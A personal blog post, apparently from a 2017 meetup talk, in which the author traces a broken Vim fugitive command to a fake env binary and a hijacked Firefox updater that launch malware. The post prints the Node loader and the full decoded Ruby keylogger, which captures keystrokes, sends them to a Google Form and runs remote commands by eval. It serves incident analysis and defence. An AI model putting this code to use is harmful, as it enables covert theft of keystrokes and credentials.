nobe4

Vim As An Anti-Keylogger

How debugging a Vim plugin made me discover a keylogger

22 Jun 2017   ~8 minutes

Vim as an anti-keylogger

OK, this is a fictional title made just to sound cool, a more accurate title would be:

How debugging a Vim plugin made me discover a keylogger

Once upon a shell…

Cat

Quick note about fugitive. I’m using this Vim plugin a lot, it’s one of the few I couldn’t live without. I highly recommend it!

You can commit, show the status, add, revert, blame, directly from Vim It’s a delight.

At one point, not sure when, the :Gcommit command stopped working. I even opened and later closed an issue about it.

Debugging Gcommit

Archeologist

To begin with, I had an in depth look at the Gcommit source, trying to figure out what was happening.

The extension is building a command that looks like this:

env GIT_EDITOR=false git commit 2> errorfile

Which in turn should fill the error file with:

error: There was a problem with the editor 'false'.
Please supply the message using either -m or -F option.

Then, if this messages is found (i.e. you have stuff to commit), read the content of the .git/COMMIT_EDITMSG file into the buffer and continue making your commit.

I discovered that my env GIT_EDITOR=false git commit command wasn’t producing any errors, or anything at all. So here is a problem.

env is used to print the current environment variables, such as:

$ env
...
EDITOR=vim
HOME=/Users/victor
ITERM_PROFILE=Default
LANG=en_US.UTF-8
LC_ALL=en_US.UTF-8
LC_CTYPE=en_GB.UTF-8
PAGER=less
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/victor/.dot/.yada/bin
SHELL=/bin/zsh
TERM=screen-256color
TERM_PROGRAM=iTerm.app
USER=victor
...

In my case, it was not showing anything, why was that?

Turns out, the env in use was not /usr/bin/env but /usr/local/bin/env, which appeared fine, because it’s where the homebrew packages are installed…

I looked at /usr/local/bin/env, the last modification date was approximately 1 week old.

Here comes the node.

Batman

Here’s the content (truncated):

##!/usr/local/bin/node
try{let c=require("child_process").spawn("ruby", ["-W0"],{detached:true,stdio:["pipe","ignore","ignore"]});c.unref();c.stdin.end("YHBncmVwIC1meCAicnVieSAtV[...]IGVuZA==", "base64");}catch(e){}

So I unwrapped the code and I started to feel that something was awfully wrong.

##!/usr/local/bin/node
try{

  let c = require("child_process")
    .spawn(
      "ruby",
      ["-W0"],
      {
        detached: true,
        stdio: ["pipe","ignore","ignore"]
      }
  );

  c.unref();

  c.stdin.end("YHBncmVwIC1meCAicnVieSAtV...IGVuZA==", "base64");

} catch(e) {

}

Quick decomposition:

Down the Ruby hole

Un-base64-ing the string to find the ruby payload running:


`pgrep -fx "ruby -W0"`.empty ? || exit

require 'net/http'
require 'Base64'
require 'dl/import'

module Carbon
  extend DL::Importer
  dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
  extern 'unsigned long CopyProcessName(const ProcessSerialNumber*,void*)'
  extern 'void GetFrontProcess(ProcessSerialNumber*)'
  extern 'void GetKeys(void*)'
  extern 'unsigned char CFStringGetCString(void*,void*,int,int)'
end

p = DL::CPtr.malloc(16)
n = DL::CPtr.malloc(16)
ns = DL::CPtr.malloc(80)
km = DL::CPtr.malloc(16)

pd = Hash.new(false)

pa = ''
pt = 0
ps = 0
s = ''

while true do
  Kernel.sleep(0.05)

  Carbon.GetKeys(km)
  Carbon.GetFrontProcess(p.ref)
  Carbon.CopyProcessName(p.ref, n.ref)

  a = Carbon.CFStringGetCString(n, ns, 80, 0x08000100) > 0 ? ns.to_s : '_'
  t = Time.now.to_i

  (0...128).each do |k |

    if (km.to_str[k >> 3].ord >> (k & 7)) & 1 > 0

      unless pd[k]
        pd[k] = true
        if a != pa
          s << "\n\n" + [t].pack("N") + a + "\n"
        else
          if t - pt > 6
            s << "\n\n" + [t].pack("N") + "\n"
          end
        end

        s << k.chr
        pt = t
        pa = a
      end

    else
      pd[k] = false
    end

  end

    if s.length > 2000 || (s.length > 20 && t - ps > 1200)
      begin
        Net::HTTP.start('docs.google.com', : use_ssl => true) { | connection |
          res = connection.post('/forms/d/e/***/formResponse', "entry.***=#{Base64.urlsafe_encode64(s)}")
          s = ''
          ps = t
          res.body.scan(/@@@(.*)@@@/) { | ms |
            ms.each do |m |
              c = Base64.urlsafe_decode64(m)
              Net::HTTP.start('docs.google.com', : use_ssl => true) { | connection2 |
                connection2.post('/forms/d/e/***/formResponse', "entry.***=#{Base64.urlsafe_encode64(eval(c))}")
              }
            end
          }
        }
      rescue SyntaxError
      rescue
    end
  end
end

Which is exactly the same code as this metasploit module.

In a nutshell:

while true do
  GetKeys(keys)
  Process(keys)
  Send(keys)
end

Freakout

Carbon is an API interacting with old Macintosh machines, in that case I think it’s used to target a large number of machines without compatibility issues.

The keys were posted to a Google form, which doesn’t give any information on its creator. Identifying the owner is apparently a common question, but the answer is always “you can, report the form if you want, but that’s all”. (if there’s a way, please do let me know!)

After a few minutes looking at the form, it was removed by its creator. Which meant he detected that the payload stopped gathering information.

I also searched on my machine for the payload path to see if there was other compromised places (using ripgrep):

$ sudo rg -F '/usr/local/bin/env'

One occurence of the string appeared in:

Applications/FirefoxDeveloperEdition.app/Contents/MacOS/updater.app/Contents/MacOS/org.mozilla.updater

How weird!

This file had been compromised as well, the original updater had been renamed to .org.mozilla.updater and the new updater contained:

/usr/local/bin/env
/Applications/FirefoxDeveloperEdition.app/Contents/MacOS/updater.app/Contents/MacOS/.org.mozilla.updater "[email protected]"

Meaning each time the updater is called, the keylogger is too. Nasty!

ohno

OK! What now?

Help

I wasn’t sure how to react to this gloomy discover, so I asked internet about it, and there were some really good answers:

First, use something like HandsOff or Little Snitch to monitor the applications on your system that opens outgoing connections. (pilibitti)

[…] if you want to do more forensics on your system, use the free tools provided by https://objective-see.com/ (pilibitti)

My solution would be to format the entire system. (sorama2)

And my favourite:

“Take off and nuke the site from orbit. It’s the only way to be sure”. (Chaoslab, reference to the 1986’s Aliens movie)

Needless to say that the next day, my debit card was cancelled, my computer wiped and reinstalled from scratch, and every single password in my password manager changed, along with the master password.

Explosion

Lessons learned

The End

Presentation made during the 2017 June’s Sectalk Meetup: See it here